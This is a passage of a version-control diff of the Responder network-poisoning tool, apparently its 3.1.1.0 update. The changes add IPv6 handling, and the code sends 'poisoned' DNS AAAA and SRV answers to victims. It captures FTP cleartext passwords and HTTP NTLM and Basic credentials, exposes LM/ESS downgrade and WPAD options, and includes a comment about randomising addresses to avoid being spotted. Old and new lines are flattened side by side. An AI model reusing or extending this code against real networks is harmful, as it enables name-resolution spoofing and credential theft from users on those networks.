return True
elif settings.Config.Wredirect:
if NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "Workstation/Redirector":
return True
return False
# NBT_NS Server class. # NBT_NS Server class.
class NBTNS(BaseRequestHandler): class NBTNS(BaseRequestHandler):
@ -51,10 +35,6 @@ class NBTNS(BaseRequestHandler):
return None return None
if data[2:4] == b'\x01\x10': if data[2:4] == b'\x01\x10':
Finger = None
if settings.Config.Finger_On_Off:
Finger = fingerprint.RunSmbFinger((self.client_address[0],445))
if settings.Config.AnalyzeMode: # Analyze Mode if settings.Config.AnalyzeMode: # Analyze Mode
LineHeader = "[Analyze mode: NBT-NS]" LineHeader = "[Analyze mode: NBT-NS]"
print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)) print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1))
@ -77,6 +57,3 @@ class NBTNS(BaseRequestHandler):
'AnalyzeMode': '0', 'AnalyzeMode': '0',
}) })
if Finger is not None:
print(text("[FINGER] OS Version : %s" % color(Finger[0], 3)))
print(text("[FINGER] Client Version : %s" % color(Finger[1], 3)))

View file

@ -15,7 +15,7 @@
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
from utils import * from utils import *
from packets import DNS_Ans, DNS_SRV_Ans from packets import DNS_Ans, DNS_SRV_Ans, DNS6_Ans
if settings.Config.PY2OR3 == "PY3": if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler from socketserver import BaseRequestHandler
else: else:
@ -28,6 +28,8 @@ def ParseDNSType(data):
return "A" return "A"
if QueryTypeClass == "\x00\x21\x00\x01": if QueryTypeClass == "\x00\x21\x00\x01":
return "SRV" return "SRV"
if QueryTypeClass == "\x00\x1c\x00\x01":
return "IPv6"
@ -53,7 +55,15 @@ class DNS(BaseRequestHandler):
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6":
buff = DNS6_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] AAAA Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
except Exception: except Exception:
raise
pass pass
# DNS Server TCP Class # DNS Server TCP Class
@ -79,5 +89,13 @@ class DNSTCP(BaseRequestHandler):
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6":
buff = DNS6_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] AAAA Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
except Exception: except Exception:
raise
pass pass

3
servers/FTP.py Normal file → Executable file
View file

@ -37,10 +37,8 @@ class FTP(BaseRequestHandler):
if data[0:4] == b'PASS': if data[0:4] == b'PASS':
Pass = data[5:].strip().decode("latin-1") Pass = data[5:].strip().decode("latin-1")
Packet = FTPPacket(Code="530",Message="User not logged in.") Packet = FTPPacket(Code="530",Message="User not logged in.")
self.request.send(NetworkSendBufferPython2or3(Packet)) self.request.send(NetworkSendBufferPython2or3(Packet))
data = self.request.recv(1024)
SaveToDb({ SaveToDb({
'module': 'FTP', 'module': 'FTP',
@ -57,4 +55,5 @@ class FTP(BaseRequestHandler):
data = self.request.recv(1024) data = self.request.recv(1024)
except Exception: except Exception:
raise
pass pass

17
servers/HTTP.py Normal file → Executable file
View file

@ -86,16 +86,6 @@ def GrabCookie(data, host):
return Cookie return Cookie
return False return False
def GrabHost(data, host):
Host = re.search(r'(Host:*.\=*)[^\r\n]*', data)
if Host:
Host = Host.group(0).replace('Host: ', '')
if settings.Config.Verbose:
print(text("[HTTP] Host : %s " % color(Host, 3)))
return Host
return False
def GrabReferer(data, host): def GrabReferer(data, host):
Referer = re.search(r'(Referer:*.\=*)[^\r\n]*', data) Referer = re.search(r'(Referer:*.\=*)[^\r\n]*', data)
@ -196,8 +186,7 @@ def PacketSequence(data, client, Challenge):
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9] Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
if Packet_NTLM == b'\x01': if Packet_NTLM == b'\x01':
GrabURL(data, client) GrabURL(data, client)
GrabReferer(data, client) #GrabReferer(data, client)
GrabHost(data, client)
GrabCookie(data, client) GrabCookie(data, client)
Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge)) Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge))
@ -228,8 +217,7 @@ def PacketSequence(data, client, Challenge):
ClearText_Auth = b64decode(''.join(Basic_Auth)) ClearText_Auth = b64decode(''.join(Basic_Auth))
GrabURL(data, client) GrabURL(data, client)
GrabReferer(data, client) #GrabReferer(data, client)
GrabHost(data, client)
GrabCookie(data, client) GrabCookie(data, client)
SaveToDb({ SaveToDb({
@ -311,3 +299,4 @@ class HTTP(BaseRequestHandler):
except: except:
pass pass

9
servers/HTTP_Proxy.py Normal file → Executable file
View file

@ -207,7 +207,7 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
rbufsize = 0 rbufsize = 0
def handle(self): def handle(self):
(ip, port) = self.client_address (ip, port) = self.client_address[0], self.client_address[1]
if settings.Config.Verbose: if settings.Config.Verbose:
print(text("[PROXY] Received connection from %s" % self.client_address[0])) print(text("[PROXY] Received connection from %s" % self.client_address[0]))
self.__base_handle() self.__base_handle()
@ -246,14 +246,15 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
try: try:
if self._connect_to(self.path, soc): if self._connect_to(self.path, soc):
self.wfile.write(self.protocol_version +" 200 Connection established\r\n") self.wfile.write(NetworkSendBufferPython2or3(self.protocol_version +" 200 Connection established\r\n"))
self.wfile.write("Proxy-agent: %s\r\n" % self.version_string()) self.wfile.write(NetworkSendBufferPython2or3("Proxy-agent: %s\r\n"% self.version_string()))
self.wfile.write("\r\n") self.wfile.write(NetworkSendBufferPython2or3("\r\n"))
try: try:
self._read_write(soc, 300) self._read_write(soc, 300)
except: except:
pass pass
except: except:
raise
pass pass
finally: finally:

0
servers/MSSQL.py Normal file → Executable file
View file

2
servers/RDP.py Normal file → Executable file
View file

@ -105,7 +105,7 @@ class RDP(BaseRequestHandler):
h.calculate() h.calculate()
buffer1 = str(h) buffer1 = str(h)
self.request.send(NetworkSendBufferPython2or3(buffer1)) self.request.send(NetworkSendBufferPython2or3(buffer1))
SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS,server_side=True) SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS_SERVER,server_side=True)
SSLsock.settimeout(30) SSLsock.settimeout(30)
data = SSLsock.read(8092) data = SSLsock.read(8092)
if FindNTLMNegoStep(data) == b'\x01\x00\x00\x00': if FindNTLMNegoStep(data) == b'\x01\x00\x00\x00':

View file

@ -23,7 +23,7 @@ import subprocess
from utils import * from utils import *
__version__ = 'Responder 3.1.0.0' __version__ = 'Responder 3.1.1.0'
class Settings: class Settings:
@ -119,10 +119,8 @@ class Settings:
self.LM_On_Off = options.LM_On_Off self.LM_On_Off = options.LM_On_Off
self.NOESS_On_Off = options.NOESS_On_Off self.NOESS_On_Off = options.NOESS_On_Off
self.WPAD_On_Off = options.WPAD_On_Off self.WPAD_On_Off = options.WPAD_On_Off
self.Wredirect = options.Wredirect
self.DHCP_On_Off = options.DHCP_On_Off self.DHCP_On_Off = options.DHCP_On_Off
self.Basic = options.Basic self.Basic = options.Basic
self.Finger_On_Off = options.Finger
self.Interface = options.Interface self.Interface = options.Interface
self.OURIP = options.OURIP self.OURIP = options.OURIP
self.Force_WPAD_Auth = options.Force_WPAD_Auth self.Force_WPAD_Auth = options.Force_WPAD_Auth
@ -132,24 +130,43 @@ class Settings:
self.ProxyAuth_On_Off = options.ProxyAuth_On_Off self.ProxyAuth_On_Off = options.ProxyAuth_On_Off
self.CommandLine = str(sys.argv) self.CommandLine = str(sys.argv)
self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP) self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP)
self.Bind_To6 = utils.FindLocalIP6(self.Interface, self.OURIP)
self.DHCP_DNS = options.DHCP_DNS self.DHCP_DNS = options.DHCP_DNS
self.ExternalIP6 = options.ExternalIP6
if self.Interface == "ALL": if self.Interface == "ALL":
self.Bind_To_ALL = True self.Bind_To_ALL = True
else: else:
self.Bind_To_ALL = False self.Bind_To_ALL = False
#IPV4
if self.Interface == "ALL": if self.Interface == "ALL":
self.IP_aton = socket.inet_aton(self.OURIP) self.IP_aton = socket.inet_aton(self.OURIP)
else: else:
self.IP_aton = socket.inet_aton(self.Bind_To) self.IP_aton = socket.inet_aton(self.Bind_To)
#IPV6
if self.Interface == "ALL":
if self.OURIP != None and utils.IsIPv6IP(self.OURIP):
self.IP_Pton6 = socket.inet_pton(socket.AF_INET6, self.OURIP)
else:
self.IP_Pton6 = socket.inet_pton(socket.AF_INET6, self.Bind_To6)
#External IP
if self.ExternalIP: if self.ExternalIP:
if utils.IsIPv6IP(self.ExternalIP):
sys.exit(utils.color('[!] IPv6 address provided with -e parameter. Use -6 IPv6_address instead.', 1))
self.ExternalIPAton = socket.inet_aton(self.ExternalIP) self.ExternalIPAton = socket.inet_aton(self.ExternalIP)
self.ExternalResponderIP = utils.RespondWithIP() self.ExternalResponderIP = utils.RespondWithIP()
else: else:
self.ExternalResponderIP = self.Bind_To self.ExternalResponderIP = self.Bind_To
#External IPv6
if self.ExternalIP6:
self.ExternalIP6Pton = socket.inet_pton(socket.AF_INET6, self.ExternalIP6)
self.ExternalResponderIP6 = utils.RespondWithIP6()
else:
self.ExternalResponderIP6 = self.Bind_To6
self.Os_version = sys.platform self.Os_version = sys.platform
self.FTPLog = os.path.join(self.LogDir, 'FTP-Clear-Text-Password-%s.txt') self.FTPLog = os.path.join(self.LogDir, 'FTP-Clear-Text-Password-%s.txt')
@ -207,6 +224,7 @@ class Settings:
#Generate Random stuff for one Responder session #Generate Random stuff for one Responder session
self.MachineName = 'WIN-'+''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(11)]) self.MachineName = 'WIN-'+''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(11)])
self.Username = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])
self.Domain = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(4)]) self.Domain = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(4)])
self.DHCPHostname = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(9)]) self.DHCPHostname = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(9)])
self.DomainName = self.Domain + '.LOCAL' self.DomainName = self.Domain + '.LOCAL'

114
utils.py
View file

@ -24,8 +24,24 @@ import settings
import datetime import datetime
import codecs import codecs
import struct import struct
import random
try:
import netifaces
except:
sys.exit('You need to install python-netifaces or run Responder with python3...\nTry "apt-get install python-netifaces" or "pip install netifaces"')
from calendar import timegm from calendar import timegm
def if_nametoindex2(name):
if settings.Config.PY2OR3 == "PY2":
import ctypes
import ctypes.util
libc = ctypes.CDLL(ctypes.util.find_library('c'))
ret = libc.if_nametoindex(name)
return ret
else:
return socket.if_nametoindex(settings.Config.Interface)
def RandomChallenge(): def RandomChallenge():
if settings.Config.PY2OR3 == "PY3": if settings.Config.PY2OR3 == "PY3":
if settings.Config.NumChal == "random": if settings.Config.NumChal == "random":
@ -128,17 +144,30 @@ def RespondWithIPAton():
else: else:
return settings.Config.IP_aton.decode('latin-1') return settings.Config.IP_aton.decode('latin-1')
def RespondWithIP(): def RespondWithIPPton():
if settings.Config.PY2OR3 == "PY2": if settings.Config.PY2OR3 == "PY2":
if settings.Config.ExternalIP6:
return settings.Config.ExternalIP6Pton
else:
return settings.Config.IP_Pton6
else:
if settings.Config.ExternalIP6:
return settings.Config.ExternalIP6Pton.decode('latin-1')
else:
return settings.Config.IP_Pton6.decode('latin-1')
def RespondWithIP():
if settings.Config.ExternalIP: if settings.Config.ExternalIP:
return settings.Config.ExternalIP return settings.Config.ExternalIP
else: else:
return settings.Config.Bind_To return settings.Config.Bind_To
def RespondWithIP6():
if settings.Config.ExternalIP6:
return settings.Config.ExternalIP6
else: else:
if settings.Config.ExternalIP: return settings.Config.Bind_To6
return settings.Config.ExternalIP
else:
return settings.Config.Bind_To
def OsInterfaceIsSupported(): def OsInterfaceIsSupported():
if settings.Config.Interface != "Not set": if settings.Config.Interface != "Not set":
@ -148,6 +177,16 @@ def OsInterfaceIsSupported():
def IsOsX(): def IsOsX():
return sys.platform == "darwin" return sys.platform == "darwin"
def IsIPv6IP(IP):
if IP == None:
return False
regex = "(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))"
ret = re.search(regex, IP)
if ret:
return True
else:
return False
def FindLocalIP(Iface, OURIP): def FindLocalIP(Iface, OURIP):
if Iface == 'ALL': if Iface == 'ALL':
return '0.0.0.0' return '0.0.0.0'
@ -155,6 +194,19 @@ def FindLocalIP(Iface, OURIP):
try: try:
if IsOsX(): if IsOsX():
return OURIP return OURIP
elif IsIPv6IP(OURIP):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, 25, str(Iface+'\0').encode('utf-8'))
s.connect(("127.0.0.1",9))#RFC 863
ret = s.getsockname()[0]
s.close()
return ret
elif IsIPv6IP(OURIP) == False and OURIP != None:
return OURIP
elif OURIP == None: elif OURIP == None:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, 25, str(Iface+'\0').encode('utf-8')) s.setsockopt(socket.SOL_SOCKET, 25, str(Iface+'\0').encode('utf-8'))
@ -162,7 +214,41 @@ def FindLocalIP(Iface, OURIP):
ret = s.getsockname()[0] ret = s.getsockname()[0]
s.close() s.close()
return ret return ret
except socket.error:
print(color("[!] Error: %s: Interface not found" % Iface, 1))
sys.exit(-1)
def FindLocalIP6(Iface, OURIP):
if Iface == 'ALL':
return '::'
try:
if IsIPv6IP(OURIP) == False:
try:
#Let's make it random so we don't get spotted easily.
randIP = "2001:" + ":".join(("%x" % random.randint(0, 16**4) for i in range(7)))
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
s.connect((randIP+':80', 1))
IP = s.getsockname()[0]
print('IP is: %s'%IP)
return IP
except:
try:
#Try harder; Let's get the local link addr
IP = str(netifaces.ifaddresses(Iface)[netifaces.AF_INET6][0]["addr"].replace("%"+Iface, ""))
return IP
except:
IP = '::1'
print("[+] You don't have an IPv6 address assigned.")
return IP
else:
return OURIP return OURIP
except socket.error: except socket.error:
print(color("[!] Error: %s: Interface not found" % Iface, 1)) print(color("[!] Error: %s: Interface not found" % Iface, 1))
sys.exit(-1) sys.exit(-1)
@ -336,14 +422,20 @@ def SaveDHCPToDb(result):
cursor.close() cursor.close()
def Parse_IPV6_Addr(data): def Parse_IPV6_Addr(data):
if data[len(data)-4:len(data)][1] ==b'\x1c': if data[len(data)-4:len(data)] == b'\x00\x1c\x00\x01':
return False return 'IPv6'
elif data[len(data)-4:len(data)] == b'\x00\x01\x00\x01': elif data[len(data)-4:len(data)] == b'\x00\x01\x00\x01':
return True return True
elif data[len(data)-4:len(data)] == b'\x00\xff\x00\x01': elif data[len(data)-4:len(data)] == b'\x00\xff\x00\x01':
return True return True
return False return False
def IsIPv6(data):
if "::ffff:" in data:
return False
else:
return True
def Decode_Name(nbname): #From http://code.google.com/p/dpkt/ with author's permission. def Decode_Name(nbname): #From http://code.google.com/p/dpkt/ with author's permission.
try: try:
from string import printable from string import printable
@ -435,14 +527,18 @@ def StartupMessage():
print(' %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled)) print(' %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled))
print(' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled)) print(' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled))
print(' %-27s' % "Force ESS downgrade" + (enabled if settings.Config.NOESS_On_Off == True or settings.Config.LM_On_Off == True else disabled)) print(' %-27s' % "Force ESS downgrade" + (enabled if settings.Config.NOESS_On_Off == True or settings.Config.LM_On_Off == True else disabled))
print(' %-27s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled))
print('') print('')
print(color("[+] ", 2, 1) + "Generic Options:") print(color("[+] ", 2, 1) + "Generic Options:")
print(' %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1)) print(' %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1))
print(' %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1)) print(' %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1))
print(' %-27s' % "Challenge set" + color('[%s]' % settings.Config.NumChal, 5, 1)) print(' %-27s' % "Responder IPv6" + color('[%s]' % settings.Config.Bind_To6, 5, 1))
if settings.Config.ExternalIP:
print(' %-27s' % "Responder external IP" + color('[%s]' % settings.Config.ExternalIP, 5, 1))
if settings.Config.ExternalIP6:
print(' %-27s' % "Responder external IPv6" + color('[%s]' % settings.Config.ExternalIP6, 5, 1))
print(' %-27s' % "Challenge set" + color('[%s]' % settings.Config.NumChal, 5, 1))
if settings.Config.Upstream_Proxy: if settings.Config.Upstream_Proxy:
print(' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1)) print(' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1))